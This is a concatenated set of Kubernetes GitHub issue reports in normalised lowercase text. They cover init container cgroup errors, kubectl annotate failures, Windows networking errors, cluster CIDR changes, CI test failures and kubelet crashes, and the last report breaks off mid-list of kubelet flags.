fyi. i am debugging one issue, and just hit this:       root@localhost kubernetes   kc get pods name      ready     status    restarts   age   info: 1 completed object s  was were  not shown in pods list. pass --show-all to see all objects.      @kubernetes/kubectl

what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r    init:rpc error: code = 2 \r    failed to write to cpu.cfs_quota_us \r \r ---\r \r   is this a bug report or feature request?    choose one : bug report\r \r   kubernetes version    use  kubectl version  :\r    \r $ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.0\ , gitcommit:\ fff5156092b56e6bd60fff75aad4dc9de6b6ef37\ , gittreestate:\ clean\ , builddate:\ 2017-03-28t16:36:33z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.1\ , gitcommit:\ b0b7a323cc5a4a2019b2e9520c21c7830b7f708e\ , gittreestate:\ clean\ , builddate:\ 2017-04-03t20:33:27z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r -   cloud provider or hardware configuration  : gke\r -   os    e.g. from /etc/os-release :\r -   kernel    e.g.  uname -a  :\r -   install tools  :\r -   others  :\r \r \r   what happened  :\r \r an init container for a pod that defined resource requests & limits fails immediately on 1.6.1 with the error below.\r \r    \r $ kubectl --context=staging apply -f /tmp/repro.yaml \r pod \ no-init-requests\  created\r \r $ kubectl --context=staging get pod no-init-requests -a\r name               ready     status                                                                                                                                                                                                                                                                                                                                                                                                                                        restarts   age\r no-init-requests   0/1       init:rpc error: code = 2 desc = failed to start container \ 2de2a8b69e8836452767a60d15a29b16ebd1f48fa7bf503a9fe6f5cc3a817f5a\ : error response from daemon: rpc error: code = 2 desc = \ oci runtime error: failed to write 200000 to cpu.cfs_quota_us: write /sys/fs/cgroup/cpu,cpuacct/kubepods/pod84aef4e9-2577-11e7-bb35-42010a8000d5/2de2a8b69e8836452767a60d15a29b16ebd1f48fa7bf503a9fe6f5cc3a817f5a/cpu.cfs_quota_us: invalid argument\    1          12s\r    \r \r   what you expected to happen  :\r \r podspec works fine on a 1.5.x cluster:\r \r    \r $ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.0\ , gitcommit:\ fff5156092b56e6bd60fff75aad4dc9de6b6ef37\ , gittreestate:\ clean\ , builddate:\ 2017-03-28t16:36:33z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.6\ , gitcommit:\ 114f8911f9597be669a747ab72787e0bd74c9359\ , gittreestate:\ clean\ , builddate:\ 2017-03-28t13:36:31z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r $ kubectl apply -f /tmp/repro.yaml \r pod \ no-init-requests\  created\r \r $ kubectl get pod no-init-requests -a\r name               ready     status      restarts   age\r no-init-requests   0/1       completed   0          10s\r    \r \r   how to reproduce it    as minimally and precisely as possible :\r repro.yaml is below.  removing the \ resources\  spec of init-containers makes the pod usable.\r \r    \r apiversion: v1\r kind: pod\r metadata:\r   name: no-init-requests\r   annotations:\r     pod.beta.kubernetes.io/init-containers: |\r        \r         {\r           \ name\ : \ restore\ ,\r           \ image\ : \ busybox\ ,\r           \ imagepullpolicy\ : \ ifnotpresent\ ,\r           \ resources\ : {\r             \ requests\ : {\ cpu\ : \ 2000m\ , \ memory\ : \ 2gi\ },\r             \ limits\ : {\ cpu\ : \ 2000m\ , \ memory\ : \ 2gi\ }\r           },\r           \ command\ :  \r             \ /bin/echo\ ,\r             \ hello\ ,\r             \ world\ \r            \r         }\r        \r spec:\r   restartpolicy: never\r   containers:\r   containers:\r   - name: truncate\r     image: busybox\r     imagepullpolicy: ifnotpresent\r     resources:\r       requests:\r         cpu: 1000m\r         memory: 1gi\r       limits:\r         cpu: 1000m\r         memory: 1gi\r     command:\r     - echo\r     - foo\r     - bar\r    \r

dear kubernetes devs,\r \r it looks like kubernetes 1.7.2 rpm for centos are missing at the repository https://packages.cloud.google.com/yum/repos/kubernetes-el7-x86_64/repodata\r \r any eta for them to be there?\r \r thank you,\r \r kind regards,\r andrey arapov

tests are failing atm on gci https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-alpha-features/14884 because volume_plugin_dir=/home/kubernetes/flexvolume set in cluster/common.sh takes precedence over kubelet_test_volume_plugin_dir=\ /etc/srv/kubernetes/kubelet-plugins/volume/exec\ . as far as i can tell /home/kubernetes/flexvolume is not readable yet by containerized kubelet so the test needs to keep using \ /etc/srv/kubernetes/kubelet-plugins/volume/exec\  and the bash needs to be shuffled around to solve this.\r \r cc @verult

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r currently, upstream ci doesn't run any ut for windows kernel mode proxier. i feel like it's import to implement some uts for window kernel mode proxier. \r \r i always have some bandwidth and would love to contribute codes.\r \r @kubernetes/sig-network-misc @thockin @bowei @dcbw wdyt? ^_^\r \r @madhanrm could you please help review prs? : \r \r   what you expected to happen  :\r \r 1. mock something needed to run uts for windows kernel mode proxier   everywhere  .\r \r 2. add some test cases.\r \r 3. remove  +build windows  flag in  winkernel/proxier_test.go \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r  /area kube-proxy\r

is this a bug report or feature request?  :\r  \r   what happened  :\r  kubectl annotate  is broken when annotation key contains a slash with cli 1.7 and master 1.8. \r \r   what you expected to happen  :\r  kubectl annotate  should work even with slashes in annotation keys  it's allowed  with one minor version skew between cli and master  see https://github.com/kubernetes/website/issues/7103 .\r \r   how to reproduce it  as minimally and precisely as possible   :\r use cli 1.7.12 and master 1.8.5  probably same issue with other master 1.8 versions \r    \r $ kubectl create configmap my-config --from-literal=key1=config1\r configmap \ my-config\  created\r \r  $ kubectl annotate configmap my-config example.com/foo=bar\r the configmap \ my-config\  is invalid: metadata.annotations: invalid value: \ example.com~1foo\ : name part must consist of alphanumeric characters, '-', '_' or '.', and must start and end with an alphanumeric character  e.g. 'myname',  or 'my.name',  or '123-abc', regex used for validation is '  a-za-z0-9  -a-za-z0-9_.   ? a-za-z0-9 ' \r    \r \r logs with  -v 10 :\r    \r i0201 11:13:19.813961    2540 request.go:991  request body: {\ metadata\ :{\ annotations\ :{\ example.com~1foo\ :\ bar\ }}}\r    \r \r   anything else we need to know?  :\r \r some other tests:\r - ok  foo=bar \r - ok  test/foo=bar \r - ko  test.com/foo=bar \r - ko  example/foo=bar \r - ko  teste/foo=bar \r \r this is strange: \r -  test/  prefix seems special: it's the only one accepted \r - the regex is unexpected: aren't the slashes allowed? they are used everywhere in kubernetes.\r \r it all works with the same master and the cli  1.8.5  and  1.9.2 .\r \r this has already been bug reported but dismissed as  probably related to using incompatible versions   see https://github.com/kubernetes/kubectl/issues/60 and  52283 . but cli 1.7 should work with master 1.8, shouldn't it?\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    $  kubectl version\r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.12\ , gitcommit:\ 3bda299a6414b4866f179921610d6738206a18fe\ , gittreestate:\ clean\ , builddate:\ 2017-12-29t09:00:00z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8+\ , gitversion:\ v1.8.5-gke.0\ , gitcommit:\ 2c2a807131fa8708abc92f3513fe167126c8cce5\ , gittreestate:\ clean\ , builddate:\ 2017-12-19t20:05:45z\ , goversion:\ go1.8.3b4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r   - cluster: gke\r   - client: gce\r - os  e.g. from /etc/os-release :\r ubuntu 16.04

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r ! image  https://user-images.githubusercontent.com/5154334/49929540-b31cf300-fefd-11e8-89c6-8af0e3eab14f.png \r \r   what you expected to happen  :\r express the status correctly.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.12\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r <!-- do not edit below this line -->\r 

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r environment: on gce with the win-bridge cni plugin\r \r on a node when creating a pod for the first time, running podsandbox would fail with the error message below. \ failed to create the new hnsendpoint: hnscall failed in win32: the object already exists.  0x1392 \ \r \r    \r events:\r   type     reason                  age                from                                              message\r   ----     ------                  ----               ----                                              -------\r   warning  failedcreatepodsandbox  15s                kubelet, e2e-test-yjhong-windows-node-group-rdt6  failed create pod sandbox: rpc error: code = unknown desc =  failed to set up sandbox container \ 5a4a06b6983a52f678e15203f1e77e0e310933e5a506dc3167bf7f3e57782106\  network for pod \ shetland\ : networkplugin cni failed to set up pod \ shetland_default\  network: error while provisionendpoint 5a4a06b6983a52f678e15203f1e77e0e310933e5a506dc3167bf7f3e57782106_l2bridge,359cae70-8ca4-4143-a42b-42644cf04022,5a4a06b6983a52f678e15203f1e77e0e310933e5a506dc3167bf7f3e57782106 : failed to create the new hnsendpoint: hnscall failed in win32: the object already exists.  0x1392 , failed to clean up sandbox container \ 5a4a06b6983a52f678e15203f1e77e0e310933e5a506dc3167bf7f3e57782106\  network for pod \ shetland\ : networkplugin cni failed to teardown pod \ shetland_default\  network: failed to find hnsendpoint 5a4a06b6983a52f678e15203f1e77e0e310933e5a506dc3167bf7f3e57782106_l2bridge: endpoint 5a4a06b6983a52f678e15203f1e77e0e310933e5a506dc3167bf7f3e57782106_l2bridge not found \r   normal   sandboxchanged          12s  x2 over 14s   kubelet, e2e-test-yjhong-windows-node-group-rdt6  pod sandbox changed, it will be killed and re-created.\r \r    \r subsequent retry would succeed, and launching other pods afterwards would also, generally, be fine. \r \r i've found https://github.com/microsoft/sdn/issues/298, but in that issue, the creation failed permanently.\r \r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : master  1.14, da5fd93e93f4 \r - cloud provider or hardware configuration: gce\r - os  e.g:  cat /etc/os-release  : windows 1809\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r /cc @pjh @kubernetes/sig-windows-bugs

what happened  :  \r \r node k8s-m1 has cidr 10.244.2.0/24, occupying it in cidr map  \r controllermanager.go:496  error starting \ nodeipam\    \r  controllermanager.go:206  error starting controllers: failed to mark cidr as occupied: cidr  \r  10.244.2.0/24 is out the range o/16  \r \r \r   what you expected to happen  :\r my change kube-controller-manager.config --cluster-cidr 10.247.0.0/16.   \r but , kube-controller-manager no good.  \r \r how do change cluster cidr ?     \r if kube have cluster-cidr-cache?  \r how to do clear k8s-cluster-cidr-cache.  \r   \r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.12.5\r - os  e.g:  cat /etc/os-release  : centos 7.5\r - kernel  e.g.  uname -a  : 4.19.6-1.el7.elrepo.x86_64\r - others:\r <pre>\r my    kube-controller-manager.config\r       - --address=127.0.0.1\r       - --allocate-node-cidrs=true\r       - --cluster-cidr=10.247.0.0/16      \r      .........................................\r </pre>\r kube-controller-manager.log\r <pre>\r i0319 03:34:27.516159       1 controllermanager.go:508  started \ podgc\    \r i0319 03:34:27.516222       1 gc_controller.go:76  starting gc controller \r i0319 03:34:27.516229       1 controller_utils.go:1027  waiting for caches to sync for gc controller i0319 03:34:27.666379       1 controllermanager.go:508  started \ deployment\  \r i0319 03:34:27.666444       1 deployment_controller.go:152  starting deployment controller \r i0319 03:34:27.666452       1 controller_utils.go:1027  waiting for caches to sync for deployment controller \r i0319 03:34:27.811727       1 node_ipam_controller.go:99  sending events to api server. \r i0319 03:34:37.820363       1 range_allocator.go:78  sending events to api server. \r i0319 03:34:37.820470       1 range_allocator.go:99  no service cidr provided. skipping filtering out service addresses. \r i0319 03:34:37.820478       1 range_allocator.go:108  node k8s-m1 has cidr 10.244.2.0/24, occupying it in cidr map \r e0319 03:34:37.820498       1 controllermanager.go:496  error starting \ nodeipam\  \r f0319 03:34:37.820505       1 controllermanager.go:206  error starting controllers: failed to mark cidr as occupied: cidr 10.244.2.0/24 is out the range o/16\r </pre>

<!-- please only use this template for submitting reports about failing tests in kubernetes ci jobs -->\r \r   which jobs are failing  :\r gce-scale-performance\r kubemark-5000\r \r \r   which test s  are failing  :\r scalability density and load tests.\r \r   since when has it been failing  :\r run 1115887544400089089 2019-04-10 08:01:47 +0000 utc.\r previous correct run 1115162902861451269 was on 2019-04-08.\r \r   testgrid link  :\r https://k8s-testgrid.appspot.com/sig-scalability-gce gce-scale-performance\r https://k8s-testgrid.appspot.com/sig-scalability-kubemark kubemark-5000\r \r   reason for failure  :\r the test is no failing constantly. however the latency of listing replication controllers significantly increased.\r \r \r   anything else we need to know  :\r

protobuf?      i0909 21:02:12.837036   19956 request.go:558  request body: k8s^@ ^k ^bv1^r^eevent^r¦^b n 7gke-ciongke-default-pool-aded112d-qgpj.1472c3746846d329^r^@^z^gdefault\ ^@ ^@2^@8^@b^@^r^ ^dnode^r^@^z&gke-ciongke-default-pool-aded112d-qgpj\ &gke-ciongke-default-pool-aded112d-qgpj ^@2^@:^@^z^hstarting\ ^ qstarting kubelet. 1 ^gkubelet^r&gke-ciongke-default-pool-aded112d-qgpj2^l^hôæì¾^e^p©<96>ú<8e>^c:^l^hôæì¾^e^p©<96>ú<8e>^c@^aj^fnormal^z ^@\ ^@      @dchen1107 @smarterclayton @kubernetes/sig-node

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gci-gke-staging-parallel/1580/  failed:  k8s.io  deployment deployment should create new pods {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:134 oct 25 20:40:18.689: couldn't delete ns: \ e2e-tests-deployment-gbzu4\ : an error on the server  \ internal server error: \\\ /apis/autoscaling/v1/namespaces/e2e-tests-deployment-gbzu4/horizontalpodautoscalers\\\ \   has prevented the request from succeeding  get horizontalpodautoscalers.autoscaling   &errors.statuserror{errstatus:unversioned.status{typemeta:unversioned.typemeta{kind:\ \ , apiversion:\ \ }, listmeta:unversioned.listmeta{selflink:\ \ , resourceversion:\ \ }, status:\ failure\ , message:\ an error on the server  \\\ internal server error: \\\\\\\ /apis/autoscaling/v1/namespaces/e2e-tests-deployment-gbzu4/horizontalpodautoscalers\\\\\\\ \\\   has prevented the request from succeeding  get horizontalpodautoscalers.autoscaling \ , reason:\ internalerror\ , details:  unversioned.statusdetails  0xc820b73db0 , code:500}}  /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:338

kubernetes version    use  kubectl version  : \r    \r  kubernetes scollins@sean-collins-mbpr15 ~/src/k8s/kubernetes ±swift_upload_cache⚡ » kubectl version\r client version: version.info{major:\ 1\ , minor:\ 3\ , gitversion:\ v1.3.6+ae4550c\ , gitcommit:\ ae4550cc9c89a593bcda6678df201db1b208133b\ , gittreestate:\ not a git tree\ , builddate:\ 2016-08-30t15:45:50z\ , goversion:\ go1.7\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r    \r \r \r   environment  :\r -   cloud provider or hardware configuration  : openstack\r \r   what happened  :\r \r stack creation times out after 60 minutes\r \r https://gist.github.com/sc68cal/cfdf20664c348156e67ba0969b17172f\r \r cherry-picking 40e4e0e did not appear to change the outcome\r \r   what you expected to happen  :\r \r stack creation completes \r \r   how to reproduce it    as minimally and precisely as possible :\r \r follow documentation on https://kubernetes.io/docs/getting-started-guides/openstack-heat/\r \r   anything else do we need to know  :\r \r

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r ---\r \r   is this a bug report or feature request?    choose one :\r bug\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r kubeadm version: version.info{major:\ 1\ , minor:\ 6+\ , gitversion:\ v1.6.0-alpha.0.2074+a092d8e0f95f52\ , gitcommit:\ a092d8e0f95f5200f7ae2cba45c75ab42da36537\ , gittreestate:\ clean\ , builddate:\ 2016-12-13t17:03:18z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r   kubernetes version    use  kubectl version  :\r \r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ 08e099554f3c31f6e6f07b448ab3ed78d0520507\ , gittreestate:\ clean\ , builddate:\ 2017-01-12t04:57:25z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ 08e099554f3c31f6e6f07b448ab3ed78d0520507\ , gittreestate:\ clean\ , builddate:\ 2017-01-12t04:52:34z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r   environment  :\r -   cloud provider or hardware configuration  : bare metal/packet.net\r -   os    e.g. from /etc/os-release : ubuntu 16.04 \r -   kernel    e.g.  uname -a  :kernel version: 4.4.0-47-generic  68\r -   install tools  : kubeadm\r -   others  :\r \r \r   what happened  :\r \r setting up kubernetes on bare metal servers   , and when i initialize the master with     kube init     the following error is returned: \r \r    \r failed to parse kernel config: unable to load kernel module \ configs\ : output - \ modprobe: fatal: module configs not found in directory /lib/modules/4.4.0-47-generic\ \ , err - exit status 1\r    \r \r \r   proposed solution:  \r this is fixed by running: \r \r    apt-get install linux-image-$ uname -r    \r \r but maybe the missing mods should be added?  @lukemarsden \r \r   what you expected to happen  :\r \r \r   how to reproduce it    as minimally and precisely as possible :\r \r \r   anything else we need to know  :\r \r

https://github.com/kubernetes/kubernetes/pull/41915 adds the  debian-base  container image, which is intended to provide a standard base platform for kubernetes images that require external dependencies. advantages of debian base include:\r \r - our team will maintain & update it  until we have automation in place \r - smaller footprint: it removes a lot of unecessary files like man pages and i18n packages.\r - smaller attack surface: removes unnecessary dependencies like the init system and some system tools. in practice, most of these aren't exposed, but it does reduce the noise in cve scans.\r \r in theory this should be as simple as changing the base image, and changing  apt-get  to  clean-install   e.g. https://github.com/kubernetes/kubernetes/pull/42090 , but we need to verify that there weren't any implicit dependencies that were removed  e.g. bash .\r \r /cc @aaronlevy @ixdy \r \r xref: https://github.com/kubernetes/kubernetes/issues/40955

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-node-kubelet-serial/814/ failed:  k8s.io  container manager misc  serial  validate oom score adjustments once the node is setup  pod infra containers oom-score-adj should be -998 and best effort container's should be 1000 {e2enode suite}      /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e_node/container_manager_test.go:149 timed out after 120.000s. expected     < errors.errorstring | 0xc420d48550>: {         s: \ failed to get oom_score_adj for 29213: strconv.parseint: parsing \\\ sudo: unable to resolve host ubuntu-trusty\\\ 1000\\\ : invalid syntax\ ,     } to be nil /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e_node/container_manager_test.go:148

test pull-kubernetes-federation-e2e-gce for pr  45781  is failing. \r \r  test name:  pull-kubernetes-federation-e2e-gce\t\r  commit link:  e790df2\t\r  details:  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/45781/pull-kubernetes-federation-e2e-gce/4590/\r  command:  @k8s-bot pull-kubernetes-federation-e2e-gce test this

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r  >  \r \r   what happened  : i installed kubernetes on localhost lxd. when trying to expose containers to outside network  outside cluster but still inside private company network  by ingress, ingress address column comes up empty. all my steps are from official tutorials/documentations. kubectl get events returns \r \r    \r nginx-ingress-controller error: operation cannot be fulfilled on ingresses.extensions \ graylog-ing2\ : the object has been modified; please apply your changes to the latest version and try again\r    \r \r   what you expected to happen  : to see an ip adress which is accessible from outside cluster network.\r \r   how to reproduce it  as minimally and precisely as possible   : \r install kubernetes on lxd. deploy an image. create a service for that application. create an ingress for the service.\r \r \r   anything else we need to know?  : \r \r installed on ubuntu 16.04. using lxd and juju. kubernetes is conjured up.\r \r   environment  :\r - kubernetes version  use  kubectl version  :  1.7.0\r - cloud provider or hardware configuration  :  lxd\r - os  e.g. from /etc/os-release : ubuntu 16.04.2 lts\r - kernel  e.g.  uname -a  : 4.4.0-31-generic\r - install tools:  conjure-up\r - others:\r

the pod evaluator used by the resource quota controller made direct calls to an unsafe pod conversion function which mutates the pod argument. with multiple resource quota controller workers, concurrent processing of the same pod from a shared informer can result in a panic when the conversion code attempts to write to a map field in the pod.\r \r observed in this  openshift bug  https://bugzilla.redhat.com/show_bug.cgi?id=1486416  and discovered through analyzing core dumps from the controller manager.\r \r   the bug is only present in <=1.7: the conversion code in 1.8 no longer mutates the input.   \r \r in my branch, i added a small unit test to  pkg/controller/resourcequota/resource_quota_controller_test.go  which reliably reproduces the panic:\r \r    go\r func testsyncconcurrency t  testing.t  {\r \tpodlist := v1.podlist{\r \t\titems:   v1.pod{\r \t\t\t{\r \t\t\t\tobjectmeta: metav1.objectmeta{\r \t\t\t\t\tname:        \ pod-running\ ,\r \t\t\t\t\tnamespace:   \ testing\ ,\r \t\t\t\t\tannotations: map string string{v1.podinitcontainerstatusesbetaannotationkey: \   \ },\r \t\t\t\t},\r \t\t\t\tstatus: v1.podstatus{phase: v1.podrunning},\r \t\t\t\tspec:   v1.podspec{},\r \t\t\t},\r \t\t},\r \t}\r \tresourcequota := v1.resourcequota{\r \t\tobjectmeta: metav1.objectmeta{name: \ quota\ , namespace: \ testing\ },\r \t\tspec: v1.resourcequotaspec{\r \t\t\thard: v1.resourcelist{\r \t\t\t\tv1.resourcepods: resource.mustparse \ 5\  ,\r \t\t\t},\r \t\t},\r \t}\r \r \tkubeclient := fake.newsimpleclientset &podlist, &resourcequota \r \tinformerfactory := informers.newsharedinformerfactory kubeclient, controller.noresyncperiodfunc   \r \tresourcequotacontrolleroptions := &resourcequotacontrolleroptions{\r \t\tkubeclient:            kubeclient,\r \t\tresourcequotainformer: informerfactory.core  .v1  .resourcequotas  ,\r \t\tresyncperiod:          controller.noresyncperiodfunc,\r \t\tregistry:              install.newregistry kubeclient, informerfactory ,\r \t\tgroupkindstoreplenish:   schema.groupkind{\r \t\t\tapi.kind \ pod\  ,\r \t\t},\r \t\tcontrollerfactory:         newreplenishmentcontrollerfactory informerfactory ,\r \t\treplenishmentresyncperiod: controller.noresyncperiodfunc,\r \t}\r \r \tcontrollerch := make chan struct{} \r \tdefer close controllerch \r \r \tpodinformer := informerfactory.core  .v1  .pods  .informer  \r \tinformerfactory.start controllerch \r \tif !controller.waitforcachesync \ pods\ , make chan struct{} , podinformer.hassynced  {\r \t\tt.fatal \ timed out waiting for pod informer to sync\  \r \t}\r \r \tquotacontroller := newresourcequotacontroller resourcequotacontrolleroptions \r \r \tfor i := 0; i < 5; i++ {\r \t\tgo wait.until func   {\r \t\t\terr := quotacontroller.syncresourcequota &resourcequota \r \t\t\tif err != nil {\r \t\t\t\tt.fatal err \r \t\t\t}\r \t\t}, 0, wait.neverstop \r \t}\r \tselect {\r \tcase <-time.after 2   time.second :\r \t\tt.fatalf \ didn't hit the race\  \r \t}\r }\r    \r \r  @kubernetes/sig-api-machinery-bugs \r

the following upgrade tests aren't coming up and/or timing out.\r \r https://k8s-testgrid.appspot.com/master-upgrade gce-1.7-master-upgrade-master\r https://k8s-testgrid.appspot.com/master-upgrade gce-1.7-master-upgrade-cluster\r \r cc @kubernetes/sig-cluster-lifecycle-test-failures \r cc @kubernetes/test-infra-maintainers \r cc @kubernetes/kubernetes-release-managers \r cc @mbohlool \r \r anyone know who owns these test frameworks? they've been failing for quite a while now.

the e2e test 'monitoring should verify monitoring pods and all cluster nodes are available on influxdb using heapster.' is running in our  gce-scale-correctness job  https://k8s-testgrid.appspot.com/sig-scalability-gce-scale gce-scale-correctness  and failing, while we're using the 'standalone' mode for monitoring  ref: https://github.com/kubernetes/test-infra/blob/67bc30718f5468cdd64675c2c710118f34af33c3/jobs/env/ci-kubernetes-e2e-gce-scale-correctness.env l14  which iiuc doesn't start influxdb.\r \r @fgrzadkowski - assigning this to you. feel free to redirect as apt.\r \r cc @kubernetes/sig-instrumentation-bugs

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r \r \r   \r \r   what happened  :\r \r i take a backup of the etcd store. i deploy a pod. restore etcd using the previous snapshot. the pod  deployed post the backup operation is not reflected on the k8s cluster. but the pod is still running on the nodes. \r \r   what you expected to happen  :\r \r the containers should be stopped and garbage collected.\r \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1. take etcd snapshot.\r 2. deploy pod.\r 3. restore etcd with the snapshot. \r 4. check for containers running in the node where the pod was deployed.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.8.4\r - cloud provider or hardware configuration: bare-metal\r - os  e.g. from /etc/os-release : centos linux 7\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

is this a bug report or feature request?  :\r \r   \r   what happened  :\r \r kubelet's are regularly crashing  goroutine panics  on my nodes with several different stack traces. i was experiencing this on 1.9.0, i just upgraded to 1.9.1 and it is continuing to happen.\r \r   what you expected to happen  :\r \r for kubelets to remain running and ready in the cluster.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r my control plane seems to be stable  and are on separate machines . there are three \ controller\  servers behind an nginx tcp load balancer, each running and etcd node, an apiserver instance, a scheduler instance, and a controller-manager instance.\r \r the worker nodes  three as well  connect to the api via the load balancer and are running docker, kubelet, and kube-proxy. the flags kubelet is being started up with are listed in the  others  section.\r \r usually this crashes sometime between 2 minutes and 3 hours, on average it's seems it is more common around an an hour and a half.\r \r   anything else we need to know?  :\r \r i don't know if this is relevant but there are no pods in the kubernetes cluster under any namespace with the exception of the  kube-dns  deployment from this repo. two of the nodes seem to be going down and they are not the nodes that have kube-dns running on them.\r \r this is configured with the bridge cni plugin, using  host-local  ipam and is using the stock gentoo ebuild / package with the ~amd64 flag. all pod ips can directly route between each other, the local networks, and the internet  this is nat'd at the gateway . there are no network policies.\r \r the two stack traces occur at different code paths so may be two separate issues. i'm not familiar enough with the kubernetes code base to determine the relationship.\r \r  this issue  https://github.com/kubernetes/kubernetes/issues/57028  seems similar but i'm not sure if it's directly connected.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r    \r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.1\ , gitcommit:\ 3a1c9449a956b6026f075fa3134ff92f7d55f812\ , gittreestate:\ archive\ , builddate:\ 2018-01-08t14:45:45z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.1\ , gitcommit:\ 3a1c9449a956b6026f075fa3134ff92f7d55f812\ , gittreestate:\ archive\ , builddate:\ 2018-01-08t15:11:39z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration:\r \r bare metal gentoo hosts adapted from kubernetes the hard way.\r \r - os  e.g. from /etc/os-release :\r \r    \r name=gentoo\r id=gentoo\r pretty_name=\ gentoo/linux\ \r ansi_color=\ 1;32\ \r home_url=\ https://www.gentoo.org/\ \r support_url=\ https://www.gentoo.org/support/\ \r bug_report_url=\ https://bugs.gentoo.org/\ \r    \r \r - kernel  e.g.  uname -a  :\r \r linux worker03 4.14.8-gentoo-r1whisper  6 smp thu jan 4 18:22:50 utc 2018 x86_64 intel xeon e3-12xx v2  ivy bridge  genuineintel gnu/linux\r \r - install tools:\r \r n/a\r \r - others:\r \r kubelet is being started up with the following flags:\r \r    \r --client-ca-file=/var/lib/kubernetes/ca.pem \\\r --tls-cert-file=/var/lib/kubelet/worker01.pem \\\r --tls-private-key-file=/var/lib/kubelet/worker01-key.pem \\\r --anonymous-auth=false \\\r --authorization-mode=webhook \\\r 